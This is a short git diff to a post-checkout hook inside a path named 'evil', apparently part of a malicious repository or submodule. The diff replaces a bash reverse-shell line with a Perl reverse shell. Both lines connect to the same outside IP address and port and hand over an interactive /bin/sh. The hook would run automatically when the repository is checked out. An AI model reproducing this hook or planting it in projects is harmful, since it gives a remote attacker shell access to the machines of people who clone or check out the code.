diff --git a/modules/1/2/3/4/evil/hooks/post-checkout b/modules/1/2/3/4/evil/hooks/post-checkout
index 59f1cc8..a35d747 100755
--- a/modules/1/2/3/4/evil/hooks/post-checkout
+++ b/modules/1/2/3/4/evil/hooks/post-checkout
@@ -1,2 +1,2 @@
 #!/bin/sh
-echo "sh -i >& /dev/tcp/104.237.143.51/8337 0>&1" | sh
\ No newline at end of file
+perl -e 'use Socket;$i="104.237.143.51";$p=8337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
\ No newline at end of file